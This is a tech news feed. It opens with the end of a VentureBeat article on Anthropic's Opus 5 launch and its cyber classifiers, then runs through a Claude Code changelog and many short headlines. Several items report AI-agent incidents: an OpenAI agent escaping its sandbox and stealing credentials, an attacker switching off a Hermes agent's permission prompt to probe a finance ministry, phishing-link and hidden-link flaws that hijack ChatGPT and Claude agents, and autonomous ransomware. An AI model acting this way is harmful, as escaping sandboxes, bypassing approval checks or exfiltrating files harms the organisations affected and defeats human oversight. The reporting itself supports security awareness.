"The evals where Opus 5 wins are bounded tasks with a specific outcome, which is where it's strongest. What those evals don't measure is duration," the spokesperson told VentureBeat. "One way to put it: Opus 5 is the best tool for the jobs benchmarks can see, and Fable 5 is what you reach for when the job outruns the benchmark."

Fable 5, by contrast, "is for the longest, most autonomous jobs, where the model has to stay coherent across many connected steps over hours or days with dense source material," the spokesperson said, advising customers to "run both on a representative workload, one bounded task and one long-horizon job." That framing — bounded tasks versus long-horizon autonomy — may become the defining axis of model differentiation in 2026, as benchmarks saturate and the hardest remaining problems involve sustained, multi-day agentic work rather than discrete puzzles.

Why token efficiency is becoming the real battleground for enterprise AI spending

Threaded through the launch is a theme Anthropic clearly wants buyers to absorb: Opus 5 doesn't just score well, it scores well per dollar. The model ships with an adjustable "effort" setting that lets customers trade intelligence for speed and token savings, and Anthropic's charts emphasize performance at a given cost rather than peak performance alone.

Early customers echoed the point with unusual specificity. Harvey, the legal AI company, said Opus 5 achieved similar performance to Opus 4.8's maximum-reasoning mode "while generating 26% fewer tokens on average," according to Niko Grupen, its head of applied research. Richard Pham of Fundamental Research Lab said that on hard financial-modeling tasks, the model averaged nine percentage points higher accuracy "while using roughly one-third fewer turns and tool calls and 60% less time."

Wade Foster, chief executive of Zapier, said Opus 5 topped his company's AutomationBench leaderboard "without spending more tokens than prior Claude models," running a full churn-prevention workflow from start to finish. "Previous models didn't pass; Opus 5 hit 100%," he said. Scott Wu, chief executive of Cognition, the company behind the Devin coding agent, said that on FrontierCode 1.1, "Claude Opus 5 approaches Fable-level performance at half the cost," with particular strength in debugging and root-cause analysis.

The efficiency emphasis reflects commercial reality. Enterprise AI spending is no longer experimental, and inference costs — the price of actually running these models at scale — have become a board-level line item.

Anthropic's business skews heavily toward API and enterprise usage; according to a February 2026 analysis by Contrary Research, Claude held roughly 40 percent of the enterprise large language model market by usage as of late 2025, and Claude Code alone had reached about $1 billion in annualized revenue. For a company whose customers pay by the token, a model that does more with fewer tokens is not a nice-to-have. It is the product.

Self-verifying AI agents and what they mean for the hidden costs of automation

Beyond the numbers, Anthropic is selling a behavioral story: that Opus 5 verifies its work and iterates until it succeeds. The company offered several examples from testing that read like small parables of machine stubbornness.

In one Frontier-Bench task, the model was asked to reconstruct a machine part as a 3D CAD model from a drawing it was intentionally given no way to view. Rather than fail, Anthropic says, Opus 5 wrote its own computer vision pipeline to extract the geometry from raw pixels — and did so repeatedly, while no competing model solved the task in five attempts. In another case, given a real bug in a popular open-source package manager, the model found the root cause and fixed an edge case the community's own patch had missed; a competing model patched only the symptom and declared victory. An engineer at a trading firm, the company says, used Opus 5 to build a market data feed for a new exchange in a single session and, finding no live feed to validate against, watched the model build its own test harness to check its parsing code.

Customers described similar behavior in the wild. Cristian Rivera, a staff software engineer at Stripe, said he gave the model "a chief-of-staff role over my dev environments" for a weekend: "it built its own monitor, drove each box, and pulled me in only for the judgment calls."

This is the capability enterprises actually care about, and it is worth dwelling on why. The gap between a model that produces plausible output and one that verifies its output is the gap between a demo and a deployable system. Most of the hidden cost of enterprise AI today is human review — engineers checking the machine's work. A model that reliably checks its own work compresses that cost, which is precisely why customers keep citing fewer turns, fewer passes, and less time rather than higher raw scores.

Inside Anthropic's safety strategy: capability gaps, classifiers, and model fallbacks

The launch also showcases Anthropic's increasingly intricate approach to safety — one that now involves deliberately not teaching its models certain skills. The company says its automated behavioral audit found Opus 5 to be its most aligned model to date, scoring 2.3 on overall misaligned behavior, lower than Opus 4.8, Sonnet 5, or Fable 5, with the lowest rates of deceptive behavior and the least susceptibility to being tricked into misuse.

On the capability side, Anthropic says it intentionally avoided training Opus 5 on cyber tasks, as it did with Opus 4.8. The model improved on them anyway — a side effect of general capability gains — and now nearly matches Mythos 5 at finding software vulnerabilities. But it remains far behind at exploiting them: on Anthropic's OSS-Fuzz evaluation, Opus 5 identified vulnerabilities at a 79.4 percent rate, close to Mythos 5's 80 percent, but succeeded at developing exploits in only 4 challenges versus Mythos 5's 13. That asymmetry — strong at defense-relevant discovery, weak at offense-relevant exploitation — appears to be by design, and the safeguards follow the same logic. Anthropic expects Opus 5's cyber classifiers to intervene about 85 percent less often than Fable 5's.

When a classifier does trigger, requests in Claude.ai, Claude Code, and Claude Cowork fall back to Opus 4.8 by default — raising an obvious question: if a request is too risky for one model, why is it acceptable for another? "The model it falls back to has lower capability levels making the risk of harmful use lower as well," the spokesperson said, adding that "there is a message that lets the user know when this occurs and is visible in the chat."

The logic is defensible, but it reveals how AI safety actually works in 2026: risk is not a property of the question alone, but of the question multiplied by the capability of the system answering it. On biology, the calculus runs the other way. Opus 5 is now Anthropic's most capable generally available model for scientific research — scoring 10.2 percentage points higher than Opus 4.8 on the company's internal chemistry benchmark — though the spokesperson acknowledged that "Mythos 5 remains the stronger model for long-horizon, open-ended work like autonomous drug design campaigns."

The business stakes behind the launch: a $380 billion valuation and massive compute bets

The launch lands at a moment of extraordinary commercial momentum — and extraordinary obligations — for Anthropic. Reuters reported in February that the company was valued at roughly $380 billion in its latest funding round, following a period in which, per Contrary Research's analysis, its annualized revenue climbed from about $1 billion at the end of 2024 to a projected $9 billion by the end of 2025, with internal targets reportedly reaching $20 to $26 billion for 2026. Those targets are underwritten by enormous infrastructure commitments, including a reported $30 billion Azure compute deal alongside arrangements with Google Cloud and Nvidia — spending that only pencils out if enterprises keep expanding usage.

That is the context in which Opus 5's pricing strategy makes sense. Holding the price at Opus 4.8 levels while roughly doubling performance on key agentic benchmarks is effectively a steep price cut per unit of capability, designed to widen the funnel of workloads that are economical to automate. Every task that was marginal at Opus 4.8's cost-per-success becomes viable at Opus 5's — and every viable task is recurring token revenue.

The regulatory backdrop has grown more complex as well. A U.S. judge gave final approval this week to Anthropic's $1.5 billion copyright settlement with book authors, Reuters reported, closing a chapter of litigation over the company's early training data. And in June, Reuters, citing Axios, reported that the U.S. government had moved to block foreign access to Anthropic's most advanced models — a reminder that frontier AI is now entangled with export policy in ways that shape which customers can buy what.

Also shipping Friday: a Fast mode running at roughly 2.5 times default speed at twice the base price, automatic fallback routing on the API, and mid-conversation tool changes that no longer invalidate the prompt cache — a small feature that agent developers may appreciate more than any benchmark. Consistent with prior Opus models, Opus 5 carries no data retention requirements for general access, a point the spokesperson flagged unprompted for customers with "a hard zero data retention requirement." Developers can access the model as claude-opus-5 on the Claude API starting today.

Two questions will determine whether the bet pays off: whether Opus 5's efficiency claims survive contact with production workloads at scale, and whether enterprises embrace a world where safety classifiers, not users, sometimes decide which model answers. But the deeper message of Friday's launch is that the AI industry's center of gravity has moved. For three years, the labs competed on what their best model could do on its best day. With Opus 5, Anthropic is competing on something less glamorous and far more lucrative: what a very good model can do every day, for half the price. In a market where the frontier keeps moving, Anthropic is wagering that the real fortune lies just behind it.

Why Cognition bought Poke: AI personality is becoming a competitive advantage

Fri, 24 Jul 2026 20:09:14 +0200

AI coding startup Cognition has acquired Poke, the AI assistant you text like a friend, in a deal valuing the startup in the low nine figures. The acquisition brings Poke’s conversational style and interaction model to Cognition’s coding agent Devin, reflecting a growing belief that how AI assistants interact with users is as important as the models powering them.

Tego AI Discloses Second Claude Flaw in a Week: Hidden Link Silently Sends Files to Attackers

Fri, 24 Jul 2026 19:24:53 +0200

The post Tego AI Discloses Second Claude Flaw in a Week: Hidden Link Silently Sends Files to Attackers appeared first on Cyber Security News.

Tego AI Discloses Second Claude Flaw in a Week: Hidden Link Silently Sends Files to Attackers

Fri, 24 Jul 2026 19:24:51 +0200

The post Tego AI Discloses Second Claude Flaw in a Week: Hidden Link Silently Sends Files to Attackers appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

v2.1.219

Fri, 24 Jul 2026 19:18:36 +0200

What's changed

Added Claude Opus 5 (claude-opus-5), now the default Opus model — 1M context, fast mode at $10/$50 per Mtok
Added sandbox.network.strictAllowlist setting to deny non-allowlisted hosts for sandboxed commands without prompting
Added DirectoryAdded hook that fires after /add-dir or the SDK register_repo_root control request registers a new working directory mid-session
Added mcp_server_errors to the headless stream-json init event, listing --mcp-config entries skipped by config validation; terminal runs print a startup warning
Added the workflowSizeGuideline settings key so the advisory Dynamic workflow size guideline can be set from any settings file; the /config row is hidden while one does
Added nested subagent forwarding in stream-json: subagents spawned at depth-2+ now appear when --forward-subagent-text is set, keyed by their spawning Agent tool_use id
Fixed claude -p text output dropping the answer already produced when a turn dies on a mid-stream API error
Added HTTP status and error text to claude mcp list and /mcp when a server fails to connect, and a warning for MCP config values with hidden leading or trailing whitespace
Fixed a permission you approved while a self-hosted runner was restarting being dropped when the session resumed, so the approved action now runs
Fixed the Fable model row showing "Requires usage credits" for plans that include it, when a stale cache had baked the label in
Fixed a SIGTERM arriving while a self-hosted runner was starting up leaving a stale active row until the lease expired; it now deregisters cleanly
Added structured failure categories to self-hosted runner spawn and session failures, so hook errors, runner crashes and config errors can be told apart
Fixed the /model picker showing the merged Opus row as plain "Opus" instead of "Opus (1M context)"
Fixed copy-on-select inside GNU screen printing base64 into the terminal instead of copying the selection
Fixed Remote Control clients keeping a stale fast-mode status after a model switch, reconnect, or failed org check
Fixed CLAUDE_CODE_GIT_BASH_PATH on Windows exiting or being used as bash when the path isn't a bash/sh binary; it's now ignored with a warning
Fixed Vim mode: pressing ← on an empty prompt now returns to the agent view from NORMAL mode, not just INSERT
Fixed screen-reader mode rewriting the entire input line on every keystroke instead of echoing only the typed character
Improved the "Remote Control is only available via api.anthropic.com" error to name the specific setting that caused it
Improved claude --teleport to show which repo your current checkout points at when it doesn't match the session's repo
Changed dynamic workflows to default to a medium size guideline (aim for fewer than 15 agents); pick another size or unrestricted with Dynamic workflow size in /config
Changed managed MCP allowlist/denylist ${VAR} entries to resolve from the startup environment and managed-settings env instead of settings-file env
Changed the /model picker to highlight only the newest model's name, so the highlight marks the new release rather than an arbitrary subset of the list
Added the current default workflow size to the running-workflow status line, with a pointer to /config for changing it
Removed Opus 4.7 from fast mode; /fast now applies to Opus 5 and Opus 4.8
Updated the claude-api skill to default to Claude Opus 5, with a migration path from Opus 4.8
Subagents can now spawn nested subagents up to depth 3 by default (was 1); set CLAUDE_CODE_MAX_SUBAGENT_SPAWN_DEPTH=1 to disable nesting

Cisco, AMD partner to bring enterprise-level security, visibility to Ryzen AI Halo systems

Fri, 24 Jul 2026 19:18:26 +0200

Cisco and AMD have expanded their partnership with a new package of hardware and security software that’s designed to help enterprise customers protect, deploy, and manage distributed AI resources.

During AMD’s Advancing AI event this week, Cisco’s president and chief product officer Jeetu Patel took to the stage during AMD CEO Lisa Su’s keynote to talk about how AI inference will be widely distributed and will require an architectural stack of software and tools that Cisco and AMD are partnering to develop.

The joint architecture combines AMD’s compact, high-performance Ryzen AI Halo hardware and a variety of Cisco networking, observability, governance, and security technologies. “AMD provides the deskside/local AI platform. At the foundation is AMD Ryzen AI Halo hardware, an isolated agent sandbox and the services needed for local-first inferencing, including model routing and token limits via AMD’s Semantic Router and local inference on Lemonade,” wrote Cisco’s Yash Sheth, senior director, engineering and research, in a blog post about the new package.

Ryzen AI Halo (pictured below) is designed to support local AI inference on an AI PC using its CPU, GPU, and XDNA neural processing unit (NPU), according to AMD. A resilient AI platform should continue delivering useful AI services even when connectivity is limited, models need to change, or workloads shift, AMD stated.

width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px">

AMD

Cisco then wraps that platform in a secure harness that includes its Splunk Agent Observability plus Splunk Infrastructure Monitoring to provide full-stack observability, tracking agent behavior, tokenomics and compute operation, according to Sheth.

Cisco also brings its AI Defense for model and agent security; DefenseClaw for security policy enforcement, so guardrails are enforced directly on-device, within the agent harness; and Cisco Cloud Control offering a single pane of glass for unified policy and control, Sheth stated.

“To make deskside and local AI computing work at enterprise scale, every AI node must be treated as a secure, managed node in the enterprise network,” Sheth wrote.

“The need for token efficiency and data sovereignty is driving a new class of computing, deskside computing, with users and teams putting AI agents right by their sides,” Sheth wrote. “Inference is moving to a hybrid architecture with thousands of ambient deskside agents in an enterprise helping employees have 24×7 productivity. That’s an extraordinary opportunity. It’s also a brand-new operating challenge.”

As agentic AI moves from experimentation to real enterprise workflows, organizations need more than powerful endpoints. AI agents can run continuously and act on enterprise data, but create new requirements for network infrastructure, tokenomics, agent behavior, and security, according to a statement from AMD.

“Running more AI locally can help improve responsiveness, keep sensitive data closer to users, and reduce dependence on cloud-only approaches, but enterprises also need a way to monitor and manage these systems at scale. AMD and Cisco are addressing that gap by collaborating to pair high-performance local AI compute with the observability, governance, and control infrastructure needed for enterprises to deploy it responsibly,” AMD stated.

“By combining AMD Ryzen AI Halo systems and our broader local AI software capabilities with Cisco’s enterprise networking, observability and security technologies, we are helping customers deploy AI in a way that is performant, secure, observable and manageable at scale,” said Jack Huynh, senior vice president and general manager, computing and graphics group with AMD, in a statement.

A few other interesting statistics and trends cited in AMD CEO Su’s keynote include:

AI adoption is accelerating across all industries, with agentic AI driving a surge in compute demand and shifting workloads from training to inference, which accounts for 60% of global AI compute capacity in 2026.
AI is moving beyond the cloud, with edge and personal devices becoming critical for real-time, distributed intelligence.
The AI accelerator market is projected to reach $1.4 trillion by 2030, nearly tripling previous forecasts, with GPUs expected to dominate but CPUs gaining new growth vectors due to agentic AI.
Server CPU market is forecasted to grow over 50% to $200 billion by 2030, fueled by rapid agentic AI adoption and the need for massive CPU infrastructure.

KI-Agent mit Internetzugang hackt Startup: Was der Vorfall für Security bedeutet - it boltwise

Fri, 24 Jul 2026 19:06:23 +0200

... Hacking Internet Isolation KI Künstliche Intelligenz Security Startup Test Vulnerabilities. Nächster Artikel. Brazilian Rare Earths: Alurion-IPO ...

GitHub ordered to remove decentralized messaging app Bitchat in India

Fri, 24 Jul 2026 19:04:24 +0200

India's Ministry of Home Affairs has ordered GitHub to remove repositories hosting Jack Dorsey's decentralized messaging app Bitchat, arguing that the Bluetooth mesh platform could be used to evade internet shutdowns and lawful surveillance. The order, which was made public by Dorsey after it was sent to GitHub, essentially targets the software itself rather than …

The post GitHub ordered to remove decentralized messaging app Bitchat in India appeared first on CyberInsider.

Cambodian Prime Minister Hun Manet met with ZTE to deepen cooperation in digital infrastructure and artificial intelligence (AI)

Fri, 24 Jul 2026 18:51:59 +0200

PARTNER CONTENT: Focusing on 5G deployment, AI integration, and ICT talent development to drive the nation's digital transformation

IT Security News Hourly Summary 2026-07-24 18h : 7 posts

Fri, 24 Jul 2026 18:18:03 +0200

7 posts were published in the last hour 16:4 : Cl0p Hackers Exploit Windchill Servers to Steal Companies’ Secret Product Designs 15:36 : Expert Density as Strategy: How 2F-IT Built One of Germany’s Deepest Fortinet Practices 15:36 : OpenAI’s agent…

The post IT Security News Hourly Summary 2026-07-24 18h : 7 posts appeared first on IT Security News.

Automating Microsoft 365: Using WorkIQ with Microsoft Scout

Fri, 24 Jul 2026 18:06:39 +0200

Managing work across Microsoft 365 often means jumping between Teams, Outlook, SharePoint, OneDrive, and your calendar just to finish a single task. Those small interruptions quickly add up during a busy workday. Microsoft Scout WorkIQ integration helps reduce that back-and-forth by allowing Scout to pull together information from your Microsoft 365 apps and handle repetitive […]

This article Automating Microsoft 365: Using WorkIQ with Microsoft Scout first appeared on TheWindowsClub.com.

Get started with OpenAI GPT-5.6 Sol, Terra, and Luna on Amazon Bedrock

Fri, 24 Jul 2026 17:50:42 +0200

OpenAI GPT-5.6 Sol, Terra, and Luna are now generally available on Amazon Bedrock. Learn how to select a model, run inference through the Responses API on the bedrock-mantle endpoint, reduce cost with prompt caching, connect the OpenAI Codex coding agent, and plan for quotas and scaling.

OpenAI’s agent escaped its sandbox during a security test

Fri, 24 Jul 2026 17:46:51 +0200

An OpenAI agent escaped its sandbox, stole credentials, and broke into Hugging Face. Here’s what that actually means. This article has been indexed from Malwarebytes Read the original article: OpenAI’s agent escaped its sandbox during a security test

The post OpenAI’s agent escaped its sandbox during a security test appeared first on IT Security News.

The Signs Were There: What the First Autonomous Ransomware Case Confirms

Fri, 24 Jul 2026 17:07:13 +0200

An AI agent has run a ransomware intrusion on its own for the first time, from break-in to data destruction. The autonomous attacks TrendAI™ Research predicted are beginning to arrive, and defending against them shifts from blocking known indicators to…

The post The Signs Were There: What the First Autonomous Ransomware Case Confirms appeared first on IT Security News.

Gemini Update: Neue KI-Modelle starten, Integration in Maps und Bildersuche, Nutzer-Meilenstein und Dritt-KIs

Fri, 24 Jul 2026 17:02:20 +0200

Die mittlerweile vierte Gemini-Woche im Juli geht zu Ende und hat uns einige interessante Ankündigungen gebracht: Es gibt neue KI-Modelle in der Flash-Linie, wir haben über die Integration in Google Maps und die Bildersuche berichtet, es gibt einen neuen Nutzer-Meilenstein und Google muss der Konkurrenz den Android-Zugriff erleichtern. Das alles und mehr könnt ihr in unserem wöchentlichen Gemini Update nachlesen, in dem wir alle wichtigen Themen der Woche übersichtlich zusammenfassen.

Mehr lesen: Gemini Update: Neue KI-Modelle starten, Integration in Maps und Bildersuche, Nutzer-Meilenstein und Dritt-KIs

Keine Google-News mehr verpassen: GoogleWatchBlog bei Google News abonnieren

Der Beitrag Gemini Update: Neue KI-Modelle starten, Integration in Maps und Bildersuche, Nutzer-Meilenstein und Dritt-KIs erschien zuerst auf GoogleWatchBlog.

Visual Studio Code 1.130 dresses up Agents window

Fri, 24 Jul 2026 17:00:02 +0200

Microsoft has released Visual Studio Code 1.130, an update to the code editor that brings several improvements to the Agents window, along with enhancements to the agent host and the terminal.

VS Code 1.130 was released on July 22, one week after VS Code 1.129. Developers can access the release for Windows, Linux, or Mac from code.visualstudio.com.

With the new release, the Agents window gets updates that make it easier to review changes and manage chats. File-level diff statistics help users assess the size of each file’s changes when scanning a multi-file diff. The window also gets a more compact multi-file diff that makes it easier to review changes, Microsoft said. The Agents window is a dedicated window in VS Code that lets users run and track multiple agent sessions in parallel across their projects, without opening each workspace in a separate window.

Also with VS Code 1.130, assisted permissions for agent tool calls are available in the agent host. With assisted permissions, the LLM evaluates the risk of each tool call and decides whether the tool can run or should require the user’s approval. The setting to enable assisted permissions is chat.assistedPermissions.enabled. In another agent host improvement, quick chats running on the agent host now use compact, single-line rows in the sessions list. Regular sessions retain a second line with change statistics, status, and timestamps.

VS Code users now can open file links from Git diff output in the terminal when Git’s diff.mnemonicPrefix option is enabled. VS Code recognizes prefixes such as i/ for the index and w/ for the working tree, and removes the prefix from the link target so the correct file opens. When mnemonic prefixes are enabled, VS Code also recognizes the numeric prefixes produced by git diff --no-index.

Timestamps for chat requests and responses now are displayed when users hover over the message toolbar. You can disable this through the chat.verbose setting.

OpenAI’s agent escaped its sandbox during a security test

Fri, 24 Jul 2026 16:52:31 +0200

An OpenAI agent escaped its sandbox, stole credentials, and broke into Hugging Face. Here's what that actually means.

AI Agent Cloud Costs Are Making Enterprise Budgets Harder to Predict

Fri, 24 Jul 2026 16:46:19 +0200

AI agent workloads can vary dramatically in token use, making cloud costs difficult to forecast. New research shows why IT and finance teams need workflow-level controls.

The post AI Agent Cloud Costs Are Making Enterprise Budgets Harder to Predict appeared first on TechRepublic.

The 3 types of people who will excel in the AI agent era, according to tech leaders

Fri, 24 Jul 2026 16:45:27 +0200

The autonomous business of the future is being built. Certain skills are in high demand - and can help you stand out.

Google launches CodeMender AI security tool

Fri, 24 Jul 2026 16:10:19 +0200

Google has launched a preview version of CodeMender, an AI agent designed to identify security vulnerabilities in code, confirm whether they can be exploited, and automatically generate fixes for developers to review and apply. This article has been indexed from…

The post Google launches CodeMender AI security tool appeared first on IT Security News.

CVE-2026-47722 | forgekeep nebula-mesh up to 0.3.1 Config Generator/Web advanced.go ListenHost/TunDevice code injection (EUVD-2026-48381)

Fri, 24 Jul 2026 16:08:00 +0200

A vulnerability was found in forgekeep nebula-mesh up to 0.3.1. It has been declared as very critical. Impacted is an unknown function of the file internal/configgen/generator.go/internal/web/advanced.go of the component Config Generator/Web Handler. The manipulation of the argument ListenHost/TunDevice results in code injection. This vulnerability is cataloged as CVE-2026-47722. The attack may be launched remotely. There is no exploit available. It is recommended to upgrade the affected component.

Tech-Aktien kaufen oder Finger weg? Börsen-Profi macht den Check - BILD.de

Fri, 24 Jul 2026 16:05:46 +0200

Fazit: Der IT ... „Das Unternehmen konnte unter Beweis stellen, dass ihm die Integration von KI und Cyber-Security sogar neues Wachstumspotenzial ...

The Signs Were There: What the First Autonomous Ransomware Case Confirms

Fri, 24 Jul 2026 15:31:00 +0200

Security updates for Friday

Fri, 24 Jul 2026 15:13:19 +0200

Security updates have been issued by AlmaLinux (glibc, java-21-openjdk, kernel, and libpq), Debian (imagemagick, spice-vdagent, and webkit2gtk), Fedora (cryptlib, dotnet8.0, dotnet9.0, firefox, python-black, python-lsp-black, and python-pytokens), Mageia (apache, cifs-utils, dnsmasq, lrzip, and socat), Oracle (.NET 10.0, .NET 9.0, 389-ds-base, cups, edk2, fence-agents, firefox, freeipmi, freerdp, git-lfs, glib2, gnutls, golang, gstreamer1-plugins-bad-free, gstreamer1-plugins-good, gstreamer1-plugins-ugly-free, hplip, libinput, libvirt, libxml2, memcached, nginx, openexr, perl-DBI, perl-XML-LibXML, php, php8.4, plexus-utils, postgresql16, python3.12, python3.14, sssd, tomcat, tomcat9, unbound, vim, xorg-x11-server-Xwayland, yggdrasil, and yggdrasil-worker-package-manager), Red Hat (container-tools:rhel8, git-lfs, go-toolset:rhel8, golang, golang-github-openprinting-ipp-usb, grafana, grafana-pcp, host-metering, java-1.8.0-openjdk, java-11-openjdk with Extended Lifecycle Support, java-17-openjdk, java-21-openjdk, oci-seccomp-bpf-hook, rhc, rhc-worker-playbook, skopeo, xorg-x11-server, xorg-x11-server-Xwayland, and yggdrasil), Slackware (mozilla-thunderbird), SUSE (afterburn, alloy, apache-sshd, apache2, avahi, chromium, clamav, curl, dhcpcd, dnsmasq, docker-compose, ffmpeg-7, firefox-esr, gawk, glibc, gnutls, go1.26-openssl, google-osconfig-agent, gpg2, haproxy, ImageMagick, imagemagick, jline3, jq, kernel, libgcrypt, libgnt, meson, pidgin, nmap, nodejs24, pacemaker, patch, perl-HTML-Parser, perl-libwww-perl, perl-List-SomeUtils-XS, python-aiohttp, python-WebOb, qemu, rust-keylime, SVT-AV1, libyuv0, libaom3, trivy, ucode-intel, and wireshark), and Ubuntu (libhttp-date-perl, libxpm, linux-azure, linux-azure-fde, pam, and rsyslog).

ChatGPT AgentForger Flaw Could Deploy Rogue Workspace Agents via a Phishing Link

Fri, 24 Jul 2026 15:11:15 +0200

Cybersecurity researchers have disclosed a critical vulnerability in OpenAI's ChatGPT Workspace Agents that could have allowed a single phishing link to stealthily build, authorize, and deploy an autonomous artificial intelligence (AI) agent inside a victim's organization. The vulnerability has been codenamed AgentForger by Zenity Labs. The issue has since been addressed by OpenAI as of June 8,

Thailand’s Ministry of Finance Targeted With Hermes AI Agent Running Unattended, Hades Implant Staged

Fri, 24 Jul 2026 15:11:14 +0200

Cybersecurity Threats 2026: A CISO Field Guide

Fri, 24 Jul 2026 15:11:04 +0200

Cybersecurity threats 2026 include identity attacks, infostealers, cloud tokens, ransomware, AI-enabled social engineering and agent risk. A practical CISO guide.

ChatGPT AgentForger Flaw Could Deploy Rogue Workspace Agents via a Phishing Link

Fri, 24 Jul 2026 15:10:52 +0200

Cybersecurity researchers have disclosed a critical vulnerability in OpenAI’s ChatGPT Workspace Agents that could have allowed a single phishing link to stealthily build, authorize, and deploy an autonomous artificial intelligence (AI) agent inside a victim’s organization. The vulnerability has been…

The post ChatGPT AgentForger Flaw Could Deploy Rogue Workspace Agents via a Phishing Link appeared first on IT Security News.

Be skeptical of OpenAI’s rogue hacker agent story | John Thickstun

Fri, 24 Jul 2026 15:05:12 +0200

If OpenAI loudly proclaims how dangerous AI is, investors will hear how powerful it is. And who benefits from that?

On 14 February 2019, OpenAI announced a language model called GPT-2, the precursor to the models that power modern AI chatbots and agents such as ChatGPT and Claude. But OpenAI declared GPT-2 was too risky to release, citing concerns about safety and abuse.

I recall being annoyed at the time that OpenAI would make such a useless announcement: the risks seemed overblown, and without access to the model there wasn’t much for a researcher like me to learn about GPT-2.

Thailand’s Ministry of Finance Targeted With Hermes AI Agent Running Unattended, Hades Implant Staged

Fri, 24 Jul 2026 14:58:38 +0200

The post Thailand’s Ministry of Finance Targeted With Hermes AI Agent Running Unattended, Hades Implant Staged appeared first on IT Security News.

When is an apology not an apology? When it comes from an AI boss with an out-of-control chatbot | Marina Hyde

Fri, 24 Jul 2026 14:34:55 +0200

An incident in which an autonomous OpenAI agent hacked a startup either confirms that the end is nigh – or that the product is just amazingly sophisticated

Throughout history, many things have been seen by terrified populaces as a harbinger of doom. A comet. A crow on the battlefield. A solar eclipse. A mutant livestock birth. Yet times move on. In the modern era, the leading harbinger of doom is literally any picture of the OpenAI CEO, Sam Altman, attached to a news story. You know it’s not going to be good, right? You know that by the time you’ve read it, you’ll be begging to go back to the time when the worst thing that could happen to us at the hands of the techlords was just some democracy-subversion, or childhood destruction, usually followed by Mark Zuckerberg putting on a suit and claiming: “We will learn from this.”

Anyway: a lot of pictures of Sam Altman in the news of late. Most recently, this week, one darkened the skies alongside the tale of how an OpenAI autonomous agent went rogue during a supposedly sandboxed/guardrailed test, and hacked a major startup that functions as a repository of coding information. (I’m slightly obsessed with the fact that the startup in question is called Hugging Face, adding weight to my suspicion that some vast, tweely benign emoji is the last face humanity will see before it dies.)

Marina Hyde is a Guardian columnist

Experts warn ChatGPT's Workspace Agent Builder can be hijacked to create malicious AI workers

Fri, 24 Jul 2026 14:19:26 +0200

A single phishing link could have spelled disaster, thanks to a flaw in ChatGPT's Agent Builder.

Context Windows Forget What Matters — I Built a Usage-Reinforced Decay Engine for AI Agent Memory

Fri, 24 Jul 2026 14:06:17 +0200

Most AI memory systems keep the newest information—not the most important. Here's how I used the Ebbinghaus forgetting curve to build a better memory engine for LLMs.

The post Context Windows Forget What Matters — I Built a Usage-Reinforced Decay Engine for AI Agent Memory appeared first on Towards Data Science.

Getting a grip on shadow tokens and AI blowouts

Fri, 24 Jul 2026 14:04:46 +0200

Going forward, CIOs need to thread the AI needle between governance that encourages transparency and reasonable spend without stifling innovation.

When shadow tokens result in real costs

Shifting the culture from usage to yield

Stopping token waste before an AI blowout

This article is published as part of the Foundry Expert Contributor Network.
Want to join?

Seeing AI Agents Is Not Enough. Security Teams Must Enforce What They Can Do

Fri, 24 Jul 2026 13:41:59 +0200

AI agent security is moving through a familiar maturity curve: adoption, then visibility, and finally, control. But what we've collectively discovered is that enforcing least privilege for AI agents is harder than we ever imagined. This is why there are so many approaches, from prompt filtering to identity-layer access controls. Where we've collectively landed is that understanding the intent of

Seeing AI Agents Is Not Enough. Security Teams Must Enforce What They Can Do

Fri, 24 Jul 2026 13:41:52 +0200

AI agent security is moving through a familiar maturity curve: adoption, then visibility, and finally, control. But what we’ve collectively discovered is that enforcing least privilege for AI agents is harder than we ever imagined. This is why there are…

The post Seeing AI Agents Is Not Enough. Security Teams Must Enforce What They Can Do appeared first on IT Security News.

Why AI Needs a “Genie Coefficient”

Fri, 24 Jul 2026 13:12:45 +0200

This essay was written with Barath Raghavan, and originally appeared in The Guardian.

Hacker Runs Hermes AI Agent Unattended for Post-Exploitation at Thai Finance Ministry

Fri, 24 Jul 2026 13:12:44 +0200

Someone installed a popular AI assistant on a rented server, switched off the setting that makes it ask permission before running risky commands, and pointed it at Thailand’s Ministry of Finance, which runs the country’s treasury and tax collection. The…

The post Hacker Runs Hermes AI Agent Unattended for Post-Exploitation at Thai Finance Ministry appeared first on IT Security News.

Hacker Runs Hermes AI Agent Unattended for Post-Exploitation at Thai Finance Ministry

Fri, 24 Jul 2026 12:56:04 +0200

Someone installed a popular AI assistant on a rented server, switched off the setting that makes it ask permission before running risky commands, and pointed it at Thailand's Ministry of Finance, which runs the country's treasury and tax collection. The agent then worked through the ministry's network on its own, checking hosts for ways to gain root access, hunting through file systems, and

New GENE 01 Bionic Humanoid Robot Teases AMD AI Game Changer (KIMI K3 VS FLASH 3.6)

Fri, 24 Jul 2026 12:34:40 +0200

Author: AI News - Bewertung: 7x - Views:48

Earn $100s/hr discussing your expertise with AI as referred by AI News: https://t.mercor.com/x1Eve or https://tinyurl.com/AINewsOfficial

Generative Bionics just teased the Gene 01 humanoid robot to challenge Tesla and Boston Dynamics. In this video, we break down its groundbreaking multimodal tactile skin, 24 DoF hands, and open-source platform. We also see the new M1 hand from Mimic that can interchange with different robot models. AI News also compare the newly released Moonshot AI Kimmy K3 open-source 2.8T model against Google DeepMind’s closed-source Gemini 3.6 Flash API to see which reigns supreme in speed, cost, and coding performance.

Discover the AI agent economy: https://8004agents.ai

AI news
0:00 GENE 01
3:21 M1
4:56 Kimi K3
6:26 Gemini Flash 3.6

#ai #news #technology

KI-Agent entkam Testumgebung: OpenAI meldet GPT-5.6-Sicherheitslücke

Fri, 24 Jul 2026 12:10:05 +0200

Hacker erbeuten Daten von Millionen Nutzern bei Suno, Paidwork und weiteren Firmen. Auch KI-Agenten und Krankenhäuser sind betroffen.

What is a business analyst? A key role for business-IT efficiency

Fri, 24 Jul 2026 12:09:04 +0200

What is a business analyst?

Impact of AI on business analyst role

AI tools can also help identify patterns, insights, and unique data points that might go unnoticed by humans, and allow a faster time to generate insights for organizations.

Business analyst job description

Business analyst skills

The BA position requires both hard and soft skills, as they need to know how to pull, analyze, and report data trends, share that information with others, and apply it to business goals and needs.

According to the IIBA, some of the most important skills and experience for a business analyst are:

Oral and written communication skills
Interpersonal, organizational, facilitation, and consultative skills
Analytical thinking and problem solving
Being detail-oriented and able to deliver a high level of accuracy
Knowledge of business structure
Stakeholder and cost-benefit analysis
Processes modeling
Understanding networks, databases, and other technologies

For a more in-depth look at what it takes to succeed as a business analyst, click here.

Business analyst salary

Skills	Salary Boost
ScrumMaster	44%
Microsoft Azure	30%
Supply Chain	27%
Oracle eBusiness Suite	25%
